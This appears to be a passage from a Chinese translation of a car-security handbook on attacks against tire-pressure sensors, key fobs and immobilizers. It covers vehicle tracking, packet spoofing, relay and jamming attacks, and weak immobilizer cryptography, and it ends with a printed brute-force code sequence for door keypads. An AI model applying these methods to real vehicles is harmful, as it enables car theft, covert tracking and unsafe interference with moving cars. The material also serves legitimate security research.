在确定数据包编码时,检查是否使用了曼彻斯特编码。曼彻斯特编码通常用于近场设备,如 TPMS 系统。如果你知道使用的是哪种芯片组,数据手册应该会告诉你该芯片组是否支持曼彻斯特编码。如果支持,你首先需要解码数据包,然后再解析其内容。Jared Boone 的工具可以帮助完成这项任务。

激活信号

如前所述,传感器通常每分钟传输一次,但攻击者可以通过 SDR 发送 125 kHz 激活信号到 TPMS 设备,以引发其响应,而不是等待 60 秒让传感器发送数据包。你截获此响应的时机需要非常精准,因为激活信号发出和响应传输之间会有延迟。例如,如果你在路边接收信号,而车辆经过得太快,可能会错过响应。

激活信号主要为 TPMS 测试设备设计,因此在移动的车辆上使用可能会比较棘手。如果目标车辆在静止或熄火时发送数据包,那么你的任务会容易得多。

TPMS 传感器不使用输入验证。ECU 只会检查它是否识别 SignalID,因此你作为攻击者,只需要了解或匹配 ID 这一属性。

追踪车辆

可以通过在你希望跟踪的区域放置接收器来使用 TPMS 跟踪车辆。例如,要跟踪进入停车场的车辆,你只需要在入口和出口区域放置一些接收器。然而,要在城市或沿途路线跟踪车辆,你需要战略性地在需要跟踪的区域放置传感器。由于传感器的范围有限,你必须将其放置在交叉口或高速公路的上下匝道附近。

如前所述,TPMS 传感器每 60 到 90 秒广播一次其唯一 ID,因此如果你在高速路上记录 ID,可能会错过很多信号。为了提高捕获信号的机会,可以在车辆经过时发送激活信号以唤醒设备。传感器的有限距离也可能影响你收集 ID 的能力,但你可以为跟踪系统添加 LNA 来增加范围。

事件触发

除了简单地跟踪车辆外,TPMS 还可以用于触发事件,从简单的例如当车辆接近时打开车库门,到更险恶的用途。例如,恶意行为者可能会在路边埋设爆炸物,并设置为接收到来自 TPMS 传感器的已知 ID 时引爆。由于每辆车有四个轮胎,攻击者可以合理地确保他们锁定了目标车辆,如果他们收到来自每个轮胎的信号。基本上,使用四个轮胎可以为目标车辆创建一个基本但准确的传感器指纹。

发送伪造的数据包

一旦你获得了 TPMS 信号的访问权限,你可以通过将 GNU Radio 设置为发射器而不是接收器来发送你自己的伪造数据包。通过伪造数据包,你不仅可以伪造危险的 PSI 和温度读数,还可以触发其他引擎故障灯。而且,由于传感器在车辆关闭时仍会响应激活数据包,因此通过向传感器发送激活请求,你有可能耗尽车辆的电池。

在之前引用的论文《车载无线网络的安全性和隐私漏洞》中,研究人员通过伪造数据包洪泛传感器,最终成功在车辆使用过程中完全关闭了 ECU。关闭 ECU 会使车辆停驶或强制其进入“紧急模式”。

警告

在车辆高速行驶时关闭 ECU 可能是极其危险的。尽管玩弄 TPMS 看似无害,但在评估任何车辆时,请务必采取标准的安全预防措施。

攻击钥匙扣和防盗系统

任何开过现代汽车的人可能都熟悉钥匙遥控器和远程解锁。1982 年,无线射频识别(RFID)首次通过雷诺 Fuego 车型引入远程无钥匙车辆进入系统,自 1995 年以来已经得到广泛使用。早期的系统使用红外线,因此在处理这些早期车型时,你需要通过记录红外光源来评估钥匙遥控器(这部分内容不在本章讨论)。如今的系统使用钥匙遥控器发送 RFID 信号到车辆以远程解锁车门,甚至启动汽车。钥匙遥控器使用工作频率为 125 kHz 的应答器与车辆中的防盗系统进行通信,防盗系统在接收到正确的代码或其他令牌之前,阻止车辆启动。使用低频 RFID 信号的原因是即使钥匙遥控器电池耗尽,钥匙系统仍然可以工作。

我们将研究使用 SDR 设备分析无线通讯,这些通讯由用于解锁和启动车辆的无线钥匙遥控器设定。虽然早期的钥匙遥控器使用简单的固定代码来启动车辆,但大多数现代系统依赖于滚动代码或挑战-响应系统,通过挑战钥匙遥控器执行某些任务,如完成计算并返回正确答案,从而防止简单地记录和回放固定代码。这些计算需要更多的能量和电池的使用,这也使得钥匙遥控器能够在更远的距离以更高的频率进行通信。

北美的远程无钥匙进入系统通常运行在 315 MHz 频率,欧洲和亚洲则为 433.92 MHz。你可以使用 GNU Radio 来观察钥匙遥控器发送的信号,或者使用像 Gqrx SDR 这样的工具(* gqrx.dk/ *)来查看 SDR 设备带来的整个带宽的实时视图。使用高采样率(带宽)的 Gqrx 可以帮助你识别钥匙遥控器发送到车辆的 RFID 信号频率。例如,图 12-5 显示 Gqrx 在 315 MHz(中心,垂直线)和偏移-1,192.350 kHz 处监听,它监控一辆本田车的钥匙遥控解锁请求。Gqrx 已经识别出信号中的两个峰值,这很可能是解锁请求。

image

图 12-5:Gqrx 捕获的钥匙遥控解锁请求

汽车钥匙遥控破解

有很多方法可以破解汽车钥匙遥控系统,接下来的几节中我会举例说明攻击者可能使用的一些方法。

干扰钥匙遥控信号

攻击钥匙遥控信号的一种方式是通过在 RFID 接收器的通带内传输垃圾数据来干扰信号,通带是接收器监听有效信号的区域。通带窗口的宽度包括一些额外的空间,在这些空间内你可以添加噪声,防止接收器更改滚动代码,同时仍然允许攻击者查看正确的密钥序列(参见图 12-6)。

在保持有效解锁请求的内存中,攻击者等待另一个请求被发送并记录该请求。然后,攻击者可以将第一个有效数据包重放到车辆上,导致车辆锁定或解锁,具体取决于钥匙扣发送的信号。当车主离开车辆时,攻击者拥有最后一个有效密钥,并可以重放该密钥来打开车门或启动车辆。此攻击在 DEF CON 23 上由 Samy Kamkar 演示,适用于车辆和车库门开关器。^(2)

image

图 12-6:通过干扰通带滤波器来保持密钥交换

从内存中提取响应码

有时即使钥匙扣停止发送信号几分钟后,也能在防盗系统的内存中找到响应码。这为启动汽车提供了一个机会窗口,攻击者可以通过从防盗系统内存中提取信号,而不是实时捕获钥匙扣信号来启动汽车。

如果能够识别出存储此信息的内存区域,那么攻击者需要快速获取对车辆的访问权限,或者在车辆上安装一个可以响应并记录此信息的设备。

暴力破解密钥代码

一些响应码可以通过暴力破解方式访问,尽管暴力破解攻击的可行性取决于密钥码的长度和算法。(我们将在“防盗系统密码学”中讨论这些密钥系统背后的加密学,见第 220 页。)为了使暴力破解攻击成功,攻击者需要使用 SDR、定制硬件组件,或者—更好的是—两者的组合,来编写自定义软件以暴力破解密钥。例如,如果钥匙扣能够检测到暴力破解攻击,您可能希望使用一些定制硬件通过切断电源来重置钥匙扣,防止锁定。

前向预测攻击

如果攻击者能够观察到当钥匙扣向车辆发送信号并且车辆的转发器作出响应时发生的挑战-响应交换,攻击者可以执行前向预测攻击。在这种攻击中,攻击者观察多个挑战并从中预测下一个挑战请求是什么。如果转发器的伪随机数生成器(PRNG)较弱,这种攻击很可能会成功。为了简化这个例子,如果 PRNG 基于钥匙扣首次接收到电源的时间,攻击者可以用匹配的开始时间来初始化他们自己的随机数生成器。一旦攻击者与目标同步,攻击者就能预测所有未来的代码。

字典攻击

类似地,如果攻击者能够记录多个有效的挑战–响应交换,涉及钥匙扣和应答器之间的交互,他们可以将其存储在字典中,然后利用收集到的密钥对反复向应答器请求挑战,直到其中一个挑战与字典中的响应匹配。这个巧妙的攻击只有在无钥匙进入系统没有使用发送方验证来确保响应有效时才能实现。攻击者还需要能够持续请求应答器进行认证。

为了执行字典攻击,攻击者需要建立一个系统来触发钥匙扣请求并使用软件定义无线电(SDR)记录交换内容。一个连接到研究者有效钥匙扣按钮的 Arduino 就足够了。假设认证通过 CAN 进行,也可以通过超高频信号获取钥匙扣 ID,并通过重放和记录 CAN 总线上的通信来尝试收集密钥流,正如在“使用 can-utils 和 Wireshark 逆向 CAN 总线通信”中讨论的那样,在第 68 页也有相关介绍。通过自定义工具,这种方法可以在任何总线网络上重复进行。有关这种攻击的更多信息,请参见论文《破碎的王国之钥》。^(3)

转储应答器内存

通常可以通过转储应答器的内存来获取秘密密钥。在第八章中,我们探讨了如何使用调试引脚(如 JTAG)以及侧信道分析攻击来从应答器中转储内存。

逆向 CAN 总线

为了获得车辆的访问权限,攻击者可以使用在第五章中讨论的 CAN 总线逆向方法模拟锁定按钮的按压。如果攻击者能够访问 CAN 总线,他们可以重放锁定和解锁数据包来控制并偶尔启动车辆。有时,CAN 总线的电缆甚至可以从车辆外部访问;例如,某些车辆的 CAN 总线会连接到尾灯。攻击者可以拆下尾灯并接入 CAN 总线网络,以解锁车辆。

关键程序员和应答器复制机

转发器复制机通常用于盗窃车辆。这些机器与机械师或经销商用来替换丢失钥匙的机器相同,可以在线购买,价格从 $200 到 $1,000 不等。攻击者获取目标车辆的转发器信号,并使用它来创建钥匙的克隆,可以通过将有效的钥匙放在附近或使用前面讨论的攻击方式之一。例如,攻击者——可能是代客泊车员或停车场工作人员——可能会干扰车门锁信号,然后悄悄进入车辆,并将一个定制的加密狗连接到 OBD-II 接口。加密狗会获取钥匙扣通信,甚至可能包括 GPS 广播,允许攻击者稍后定位车辆。攻击者稍后返回车辆,并使用加密狗解锁并启动汽车。

攻击 PKES 系统

无钥匙进入与启动(PKES)系统 与传统的转发器防盗系统非常相似,不同之处在于钥匙扣可以保持在车主的口袋中,无需按下任何按钮。当实现 PKES 系统时,车辆内的天线会在钥匙扣处于有效范围时读取其 RFID 信号。PKES 钥匙扣使用低频(LF)RFID 芯片和超高频(UHF)信号来解锁或启动车辆。如果没有看到 LF RFID 信号,意味着钥匙不在附近,车辆会忽略来自钥匙扣的 UHF 信号。钥匙扣上的 RFID 接收来自车辆的加密挑战,钥匙扣上的微控制器解答该挑战并通过 UHF 信号作出响应。有些车辆会在车内使用 RFID 传感器来三角定位钥匙扣的位置,以确保钥匙扣在车辆内。如果 PKES 钥匙扣的电池耗尽,通常钥匙扣内会有一个隐藏的物理钥匙,用于解锁车门,尽管防盗系统仍会使用 RFID 验证钥匙是否存在,然后才能启动汽车。

PKES 系统通常面临两种类型的攻击:中继攻击和放大中继攻击。在中继攻击中,攻击者将一个设备放置在汽车旁边,另一个设备放置在车主或钥匙扣持有者(目标)旁边。设备在目标的钥匙扣与车辆之间转发信号,从而使攻击者能够启动汽车。

这个中继通道可以通过任何速度较快、范围比普通钥匙扣更大的通道进行通信。例如,放置在目标附近的设备可以通过一个蜂窝通道与靠近车辆的笔记本电脑建立连接。数据包会从目标的钥匙扣传输到设备,通过蜂窝网络转发并由笔记本电脑重播。如需更多信息,请参阅“现代汽车中无钥匙进入与启动系统的中继攻击”。^(4)

放大继电器攻击使用与继电器攻击相同的基本原理,但仅使用一个放大器。攻击者站在目标车辆旁边并放大信号,如果目标附近有钥匙扣,车辆将解锁。这是一种不复杂的攻击,它只是简单地增加了车辆传感器的范围。这种攻击在现实中已经出现,主要发生在居民区,促使一系列新闻报道建议居民在家时将钥匙放进冰箱或用铝箔包裹,以防止它们发送可读取的信号。显然,把钥匙当作午餐一样对待是愚蠢的,但在汽车制造商提供替代解决方案之前,恐怕你只能依靠自制的法拉第笼。

电子防盗器加密技术

与车辆中的大多数系统一样,电子防盗器系统通常是通过组合便宜的组件来创建的。因此,制造商在诸如加密技术等方面变得富有创意,这也为这些系统带来了许多弱点。例如,一些电子防盗器供应商常常犯一个常见错误,即自行开发加密技术并将其隐藏在保护它的商业机密条款后面,而不是通过公众审查来验证它。这个方法被称为安全通过模糊化,几乎总是注定要失败,这也是为什么我们没有看到一个标准的加密实现来处理钥匙扣和电子防盗器之间的密钥交换。

电子防盗器和钥匙的交换使用挑战-响应系统和伪随机数生成器(PRNG)。PRNG 和加密算法一样重要,因为一个不良的 PRNG 会导致可预测的结果,无论你的加密算法多么优秀。

典型的密钥交换实现遵循以下一般顺序:

  1. 电子防盗器通过 PRNG 向钥匙发送挑战。

  2. 密钥使用伪随机数生成器(PRNG)加密挑战并返回给电子防盗器。

  3. 电子防盗器发送第二个随机数挑战。

  4. 密钥加密两个挑战并返回给电子防盗器。

这些算法通常来自伪随机函数(PRF)家族,它们在给定随机输入时生成的输出看起来像是随机的。为了让这些系统正常工作,强烈依赖于生成的随机性。一些系统已经被破解,破解方法已被广泛传播,但仍有一些系统保持未被破解。不幸的是,由于制造商没有更新钥匙扣固件的系统,如果你仔细观察,你会发现这些算法仍在被使用。

以下是一些仍在使用中的已知专有算法及其当前的破解状态——也就是它们是否已被破解。如果可能的话,我会指出在哪些车辆中可能会使用这些算法。

注意

本节旨在协助您的研究。每个区域应提供您正在研究的密钥系统的基本信息,并提供有助于您启动加密研究的详细信息。本节不打算解释加密学,我也不会深入探讨每个算法背后的数学复杂性。

EM Micro Megamos

引入时间 1997 年

制造商 大众/泰雷兹

密钥长度 96 位

算法 专有

适用车辆 保时捷,奥迪,宾利,兰博基尼

破解状态 已破解,但攻击方法已通过诉讼被审查

Megamos 加密系统有一个特别有趣的历史。Megamos “优化”了其密钥握手,只需一次挑战与响应的回合,去除了第二回合,如前所述。通常,攻击者若要破解挑战–响应密钥,通常需要访问目标密钥,但他们可以在没有密钥的情况下破解 Megamos,因为 Megamos 的挑战响应实际上并没有被车辆的传感器执行。这个漏洞基本上跳过了密钥挑战部分,仅提供加密后的密钥。

Megamos 内存是一个 160 位 EEPROM,按 10 个字组织,如表 12-1 所示。加密密钥是密钥存储区,ID 是 32 位标识符,LB 0 和 LB 1 是锁定位,UM 是 30 位的用户内存。

表 12-1: Megamos 内存空间布局

位 15 位 0 位 15 位 0
加密密钥 95 加密密钥 80 加密密钥 15 加密密钥 0
加密密钥 79 加密密钥 64 ID 31 ID 16
加密密钥 63 加密密钥 48 ID 15 ID 0
加密密钥 47 加密密钥 32 LB1, LB0, UM 29 UM 16
加密密钥 31 加密密钥 16 UM 15 UM 0

该算法在 2013 年被公开破解,当时伯明翰大学的安全研究员 Flavio D. Garcia 发表了一篇名为《拆解 Megamos 加密:无线解锁汽车防盗器》的论文。^(5) Garcia 与两位来自奈梅亨大学的研究员 Barış Ege 和 Roel Verdult,在论文计划发布前九个月通知了芯片制造商大众和泰雷兹。大众和泰雷兹通过起诉这些研究员,指责他们暴露了这些漏洞,最终研究员败诉,因为该算法已被在线泄露。泄露的算法被用于盗版软件——VAG-info.com 提供的 Tango Programmer——用于添加新密钥。研究员获取了这款软件并反向分析了其内部结构,找到了算法。

在他们的论文中,研究人员分析了该算法并报告了他们发现的漏洞,尽管实际的攻击并不简单,且有很多更简单的方法可以窃取带有 Megamos 系统的汽车。然而,这项研究被加上了禁令,研究结果没有公开。不幸的是,Megamos 的问题仍然存在,且依然不安全——禁令仅仅是阻止车主确定他们的风险,因为这项研究没有公开。这是汽车行业应对安全研究时不该做的一个典型例子。

你可以在这里找到法院判决的文字记录:www.bailii.org/ew/cases/EWHC/Ch/2013/1832.html。为了不泄露任何细节,我将简单地引用法院案件:

具体来说,流程是这样的:汽车计算机和电子标签都有一个秘密号码。这个号码是该汽车唯一的,称为“秘密密钥”。汽车计算机和电子标签还知道一个秘密算法。那是一个复杂的数学公式。给定两个数字,它将产生第三个数字。对于所有使用 Megamos Crypto 芯片的汽车,算法都是相同的。进行这个计算的工作就是 Megamos Crypto 芯片的作用。

当过程开始时,汽车生成一个随机数字,并将其发送给电子标签。现在,两台计算机使用它们应该知道的两个数字,随机数字和秘密密钥,进行复杂的数学操作。它们各自产生一个第三个数字。这个数字被分为两部分,称为 F 和 G。现在,两台计算机都知道 F 和 G。汽车将其 F 发送给电子标签。电子标签可以检查汽车是否正确计算了 F。这证明了汽车知道秘密密钥和 Megamos Crypto 算法。电子标签现在可以确信这辆车确实是它应该是的那辆车。如果电子标签确认无误,它会将 G 发送给汽车。汽车检查 G 是否正确。如果正确,那么汽车确认电子标签也知道秘密密钥和 Megamos Crypto 算法。因此,汽车可以确认电子标签是真正的电子标签。所以,两台设备在没有实际揭示秘密密钥或秘密算法的情况下确认了彼此的身份。汽车可以安全启动。这个过程中身份验证的安全性依赖于共享的秘密知识。为了保证过程的安全,两个信息都必须保持秘密——密钥和算法。^(6)

实际上,任何强健的加密算法都是可以被了解的。事实上,正如任何密码学家所说的,如果知道一个算法背后的数学会危及该算法的安全性,那么这个算法本身就是有缺陷的。

法庭判决确定,攻击很难被缓解,并且需要完全重新设计。研究人员提出了其他轻量级的算法,这些算法可以用于重新设计的密钥系统,但由于研究被压制,没有密钥系统得以更新。Megamos 算法仍然出现在像大众的 Tango 编程器等密钥编程器中。

EM4237

引入时间 2006

制造商 EM 微电子

密钥长度 128 位

算法 专有

车辆 未知

破解状态 尚无已发布的破解

EM4237 被制造商描述为一种通用的长距离、无源、非接触式标签系统,使用应答器。这类似于用于建筑物门禁的增强型接近卡,但其有效范围为 1 至 1.5 米。通常,EM4237 需要一个高安全性 128 位密码,但在低安全模式下,只需要 32 位密码,例如,当钥匙扣电池电量不足时,因为计算 32 位密钥所需的能量低于 128 位密钥。系统的低安全模式密钥与高安全模式密钥存储在应答器的相同内存区域,且系统可以在高安全和低安全模式之间切换,而无需重新输入密码/密钥。EM4237 应答器声称符合接近卡标准(ISO/IEC 15693),提供 RF 频道的完整加密(13.56 MHz)。在审计 EM4237 时,请确保目标实现与规范一致。

Hitag 1

引入时间 未知

制造商 飞利浦/NXP

密钥长度 32 位

算法 专有

车辆 未知

破解状态 已破译

Hitag 1 依赖于 32 位的秘密密钥,并且容易受到暴力破解攻击,几分钟内就能破解。你不会在今天的许多车辆中找到 Hitag 1,但 Hitag 1 应答器仍在其他 RFID 产品中使用,例如智能钥匙扣和接近卡。

Hitag 2

引入时间 1997

制造商 飞利浦/NXP

密钥长度 48 位

算法 专有

车辆 奥迪、宾利、宝马、克莱斯勒、路虎、奔驰、保时捷、萨博、大众等多个品牌

破解状态 已破译

Hitag 2 是世界各地生产的车辆中最广泛实现(且被破解)的算法之一。该算法被破解的原因是其流密码,如图 12-7 所示,从未反馈回原始状态,导致密钥可以被发现。

image

图 12-7:Hitag 2 加密算法

Hitag 2 密钥可以通过一种智能暴力破解方法在不到一分钟的时间内破解,该方法通过智能选择下一个猜测,而不是尝试所有可能的组合。Hitag 2 系统之所以能被如此快速地暴力破解,是因为它甚至没有使用完整的位长度,并且当应答器被引入系统时,它们在初始化期间不会生成真正的随机数。Hitag 1 和 Hitag 2 都容易受到字典攻击。

网上有大量关于 Hitag 2 的弱点的论文,比如《360 秒内消失:通过 Hitag2 劫持》。^(7)

Hitag AES

引入时间 2007 年

制造商 飞利浦 / NXP

密钥长度 128 位

算法 AES

车辆 奥迪、宾利、宝马、保时捷

破解状态 没有已知的公开破解

这种较新的密码依赖于经过验证的 AES 算法,这意味着任何加密的弱点都将来自于制造商的实现。就在我写这篇文章时,尚未发现 Hitag AES 的破解方法。

DST-40

引入时间 2000 年

制造商 德州仪器

密钥长度 40 位

算法 专有(不平衡费斯特尔密码)

车辆 福特、林肯、梅尔库里、日产、丰田

破解状态 已破解

数字信号传输器 DST-40 所使用的算法也被应用于埃克森美孚的 Speedpass 支付系统。DST-40 是一种 200 轮不平衡的费斯特尔密码,它被约翰霍普金斯大学的研究人员逆向工程化,研究人员创建了一系列 FPGA 以暴力破解密钥,从而使他们能够克隆传输器。(FPGA 使得创建专门设计用于破解算法的硬件成为可能,这使得暴力破解变得更为可行。)因为 FPGA 是专门化的并且可以并行运行输入,它通常比通用计算机处理速度更快。

对 DST-40 的攻击利用了传输器弱的 40 位密钥,并且完成此攻击所需的时间不超过一个小时。进行该攻击时,攻击者必须从有效的传输器获取两个挑战–响应对——这是相对容易的任务,因为 DST-40 每秒最多响应 8 次查询。(有关该破解的更多细节,请参阅《加密启用 RFID 设备的安全分析》。^(8))

DST-80

引入时间 2008 年

制造商 德州仪器

密钥长度 80 位

算法 专有(不平衡费斯特尔密码)

破解状态 没有已知的公开破解

当 DST-40 被破解时,德州仪器通过将密钥长度加倍来推出 DST-80。DST-80 的部署范围不如 DST-40 广泛。有些来源声称 DST-80 仍然容易受到攻击,但截至本文撰写时,尚未发布任何攻击。

Keeloq

引入时间 1980 年代中期

制造商 Nanoteq

密钥长度 64 位

算法 专有(NLFSR)

车辆 克莱斯勒、大宇、菲亚特、通用汽车、本田、捷豹、丰田、大众、沃尔沃

破解状态 已破解

Keeloq,如图 12-8 所示,是一种非常古老的算法,已有许多关于其加密的已发布攻击。Keeloq 可以同时使用滚动代码和挑战响应,它使用基于非线性反馈移位寄存器(NLFSR)的块密码。实现 Keeloq 的制造商接收一个密钥,并将其存储在所有接收器中。接收器通过总线接收器的 ID 来学习传输器密钥,这些 ID 是由汽车制造商编程的。

在 Keeloq 中,最有效的加密攻击同时使用了滑动攻击和中间人攻击。该攻击针对 Keeloq 的挑战–响应模式,要求从转发器收集 216 个已知明文消息——这通常只需要一个小时左右的时间。该攻击通常仅能克隆转发器,但如果制造商的密钥派生算法较弱,攻击者可能推测出转发器上使用的密钥。然而,攻击加密变得不再必要,因为新的专用 FPGA 集群使得可以通过暴力破解密钥。

image

图 12-8:Keeloq 算法

Keeloq 还容易受到功率分析攻击。功率分析攻击可以用来通过仅两个转发器消息提取转发器上使用的制造商密钥。如果攻击成功,通常只会导致能够在几分钟内通过监控转发器上的功率痕迹来克隆转发器。功率分析还可以用来获取制造商密钥,尽管这种攻击可能需要几个小时才能完成。一旦攻击者获得主密钥,他们就可以克隆任何转发器。最后,由于 Keeloq 在使用查找表时会出现不同的时钟周期,它也容易受到时间攻击的影响。(有关功率分析和时间攻击的更多内容,请参见 第八章。)

开放源代码防盗协议栈

发布时间 2011 年

制造商 Atmel

密钥长度 128 位

算法 AES

破解状态 没有已知的公开破解

2011 年,Atmel 发布了开放源代码的防盗协议栈,并以开源许可的形式公开发布,允许公众自由使用并鼓励对协议设计的公开审查。在我撰写本文时,尚未发现对该协议的已知攻击。您可以从 Atmel 网站下载该协议:www.atmel.com/

针对防盗系统的物理攻击

到目前为止,我们已经看过了针对转发器的无线攻击和直接的加密攻击。接下来,我们将关注对车辆本身的物理修改和攻击。物理攻击通常需要更长的时间来执行,且不具备隐秘性。

攻击防盗芯片

攻击一个防盗系统的一种方式是物理攻击防盗芯片。实际上,完全移除防盗芯片(通常来自车辆的 ECU)仍然能够操作车辆,虽然可能无法完全正常运行。至少,这样做会创建一个 DTC 并启动 MIL,如第 52 页的“诊断故障代码”中所讨论的那样。为了物理移除防盗芯片系统,你可以购买或制作一个防盗旁路芯片,然后将其焊接到原防盗芯片所在的位置,以保持 ECU 的正常工作。这些芯片,有时被称为防盗仿真器,通常售价为 20 到 30 美元。你仍然需要为车辆刻制钥匙,但通过完全绕过任何挑战–响应安全机制,钥匙将简单地解锁并启动汽车。

暴力破解键盘输入

现在换个节奏:这里有一种暴力破解车辆键盘锁的方法;这种方法由 Peter Boothe 发现(可在www.nostarch.com/carhacking/找到)。如果车辆的门把手下有一个带有 1/2、3/4、5/6、7/8、9/0 按钮的键盘,你可以手动输入以下序列,大约 20 分钟内解锁车门。你不需要输入完整的序列——当车门解锁时,你可以停止输入代码。为了方便,每个按钮分别标有 1、3、5、7 和 9。

9 9 9 9 1 1 1 1 1 3 1 1 1 1 5 1 1 1 1 7 1 1 1 1 9 1 1 1 3 3 1 1 1 3 5 1 1 1 3
7 1 1 1 3 9 1 1 1 5 3 1 1 1 5 5 1 1 1 5 7 1 1 1 5 9 1 1 1 7 3 1 1 1 7 5 1 1 1
7 7 1 1 1 7 9 1 1 1 9 3 1 1 1 9 5 1 1 1 9 7 1 1 1 9 9 1 1 3 1 3 1 1 3 1 5 1 1
3 1 7 1 1 3 1 9 1 1 3 3 3 1 1 3 3 5 1 1 3 3 7 1 1 3 3 9 1 1 3 5 3 1 1 3 5 5 1
1 3 5 7 1 1 3 5 9 1 1 3 7 3 1 1 3 7 5 1 1 3 7 7 1 1 3 7 9 1 1 3 9 3 1 1 3 9 5
1 1 3 9 7 1 1 3 9 9 1 1 5 1 3 1 1 5 1 5 1 1 5 1 7 1 1 5 1 9 1 1 5 3 3 1 1 5 3
5 1 1 5 3 7 1 1 5 3 9 1 1 5 5 3 1 1 5 5 5 1 1 5 5 7 1 1 5 5 9 1 1 5 7 3 1 1 5
7 5 1 1 5 7 7 1 1 5 7 9 1 1 5 9 3 1 1 5 9 5 1 1 5 9 7 1 1 5 9 9 1 1 7 1 3 1 1
7 1 5 1 1 7 1 7 1 1 7 1 9 1 1 7 3 3 1 1 7 3 5 1 1 7 3 7 1 1 7 3 9 1 1 7 5 3 1
1 7 5 5 1 1 7 5 7 1 1 7 5 9 1 1 7 7 3 1 1 7 7 5 1 1 7 7 7 1 1 7 7 9 1 1 7 9 3
1 1 7 9 5 1 1 7 9 7 1 1 7 9 9 1 1 9 1 3 1 1 9 1 5 1 1 9 1 7 1 1 9 1 9 1 1 9 3
3 1 1 9 3 5 1 1 9 3 7 1 1 9 3 9 1 1 9 5 3 1 1 9 5 5 1 1 9 5 7 1 1 9 5 9 1 1 9
7 3 1 1 9 7 5 1 1 9 7 7 1 1 9 7 9 1 1 9 9 3 1 1 9 9 5 1 1 9 9 7 1 1 9 9 9 1 3
1 3 3 1 3 1 3 5 1 3 1 3 7 1 3 1 3 9 1 3 1 5 3 1 3 1 5 5 1 3 1 5 7 1 3 1 5 9 1
3 1 7 3 1 3 1 7 5 1 3 1 7 7 1 3 1 7 9 1 3 1 9 3 1 3 1 9 5 1 3 1 9 7 1 3 1 9 9
1 3 3 1 5 1 3 3 1 7 1 3 3 1 9 1 3 3 3 3 1 3 3 3 5 1 3 3 3 7 1 3 3 3 9 1 3 3 5
3 1 3 3 5 5 1 3 3 5 7 1 3 3 5 9 1 3 3 7 3 1 3 3 7 5 1 3 3 7 7 1 3 3 7 9 1 3 3
9 3 1 3 3 9 5 1 3 3 9 7 1 3 3 9 9 1 3 5 1 5 1 3 5 1 7 1 3 5 1 9 1 3 5 3 3 1 3
5 3 5 1 3 5 3 7 1 3 5 3 9 1 3 5 5 3 1 3 5 5 5 1 3 5 5 7 1 3 5 5 9 1 3 5 7 3 1
3 5 7 5 1 3 5 7 7 1 3 5 7 9 1 3 5 9 3 1 3 5 9 5 1 3 5 9 7 1 3 5 9 9 1 3 7 1 5
1 3 7 1 7 1 3 7 1 9 1 3 7 3 3 1 3 7 3 5 1 3 7 3 7 1 3 7 3 9 1 3 7 5 3 1 3 7 5
5 1 3 7 5 7 1 3 7 5 9 1 3 7 7 3 1 3 7 7 5 1 3 7 7 7 1 3 7 7 9 1 3 7 9 3 1 3 7
9 5 1 3 7 9 7 1 3 7 9 9 1 3 9 1 5 1 3 9 1 7 1 3 9 1 9 1 3 9 3 3 1 3 9 3 5 1 3
9 3 7 1 3 9 3 9 1 3 9 5 3 1 3 9 5 5 1 3 9 5 7 1 3 9 5 9 1 3 9 7 3 1 3 9 7 5 1
3 9 7 7 1 3 9 7 9 1 3 9 9 3 1 3 9 9 5 1 3 9 9 7 1 3 9 9 9 1 5 1 5 3 1 5 1 5 5
1 5 1 5 7 1 5 1 5 9 1 5 1 7 3 1 5 1 7 5 1 5 1 7 7 1 5 1 7 9 1 5 1 9 3 1 5 1 9
5 1 5 1 9 7 1 5 1 9 9 1 5 3 1 7 1 5 3 1 9 1 5 3 3 3 1 5 3 3 5 1 5 3 3 7 1 5 3
3 9 1 5 3 5 3 1 5 3 5 5 1 5 3 5 7 1 5 3 5 9 1 5 3 7 3 1 5 3 7 5 1 5 3 7 7 1 5
3 7 9 1 5 3 9 3 1 5 3 9 5 1 5 3 9 7 1 5 3 9 9 1 5 5 1 7 1 5 5 1 9 1 5 5 3 3 1
5 5 3 5 1 5 5 3 7 1 5 5 3 9 1 5 5 5 3 1 5 5 5 5 1 5 5 5 7 1 5 5 5 9 1 5 5 7 3
1 5 5 7 5 1 5 5 7 7 1 5 5 7 9 1 5 5 9 3 1 5 5 9 5 1 5 5 9 7 1 5 5 9 9 1 5 7 1
7 1 5 7 1 9 1 5 7 3 3 1 5 7 3 5 1 5 7 3 7 1 5 7 3 9 1 5 7 5 3 1 5 7 5 5 1 5 7
5 7 1 5 7 5 9 1 5 7 7 3 1 5 7 7 5 1 5 7 7 7 1 5 7 7 9 1 5 7 9 3 1 5 7 9 5 1 5
7 9 7 1 5 7 9 9 1 5 9 1 7 1 5 9 1 9 1 5 9 3 3 1 5 9 3 5 1 5 9 3 7 1 5 9 3 9 1
5 9 5 3 1 5 9 5 5 1 5 9 5 7 1 5 9 5 9 1 5 9 7 3 1 5 9 7 5 1 5 9 7 7 1 5 9 7 9
1 5 9 9 3 1 5 9 9 5 1 5 9 9 7 1 5 9 9 9 1 7 1 7 3 1 7 1 7 5 1 7 1 7 7 1 7 1 7
9 1 7 1 9 3 1 7 1 9 5 1 7 1 9 7 1 7 1 9 9 1 7 3 1 9 1 7 3 3 3 1 7 3 3 5 1 7 3
3 7 1 7 3 3 9 1 7 3 5 3 1 7 3 5 5 1 7 3 5 7 1 7 3 5 9 1 7 3 7 3 1 7 3 7 5 1 7
3 7 7 1 7 3 7 9 1 7 3 9 3 1 7 3 9 5 1 7 3 9 7 1 7 3 9 9 1 7 5 1 9 1 7 5 3 3 1
7 5 3 5 1 7 5 3 7 1 7 5 3 9 1 7 5 5 3 1 7 5 5 5 1 7 5 5 7 1 7 5 5 9 1 7 5 7 3
1 7 5 7 5 1 7 5 7 7 1 7 5 7 9 1 7 5 9 3 1 7 5 9 5 1 7 5 9 7 1 7 5 9 9 1 7 7 1
9 1 7 7 3 3 1 7 7 3 5 1 7 7 3 7 1 7 7 3 9 1 7 7 5 3 1 7 7 5 5 1 7 7 5 7 1 7 7
5 9 1 7 7 7 3 1 7 7 7 5 1 7 7 7 7 1 7 7 7 9 1 7 7 9 3 1 7 7 9 5 1 7 7 9 7 1 7
7 9 9 1 7 9 1 9 1 7 9 3 3 1 7 9 3 5 1 7 9 3 7 1 7 9 3 9 1 7 9 5 3 1 7 9 5 5 1
7 9 5 7 1 7 9 5 9 1 7 9 7 3 1 7 9 7 5 1 7 9 7 7 1 7 9 7 9 1 7 9 9 3 1 7 9 9 5
1 7 9 9 7 1 7 9 9 9 1 9 1 9 3 1 9 1 9 5 1 9 1 9 7 1 9 1 9 9 1 9 3 3 3 1 9 3 3
5 1 9 3 3 7 1 9 3 3 9 1 9 3 5 3 1 9 3 5 5 1 9 3 5 7 1 9 3 5 9 1 9 3 7 3 1 9 3
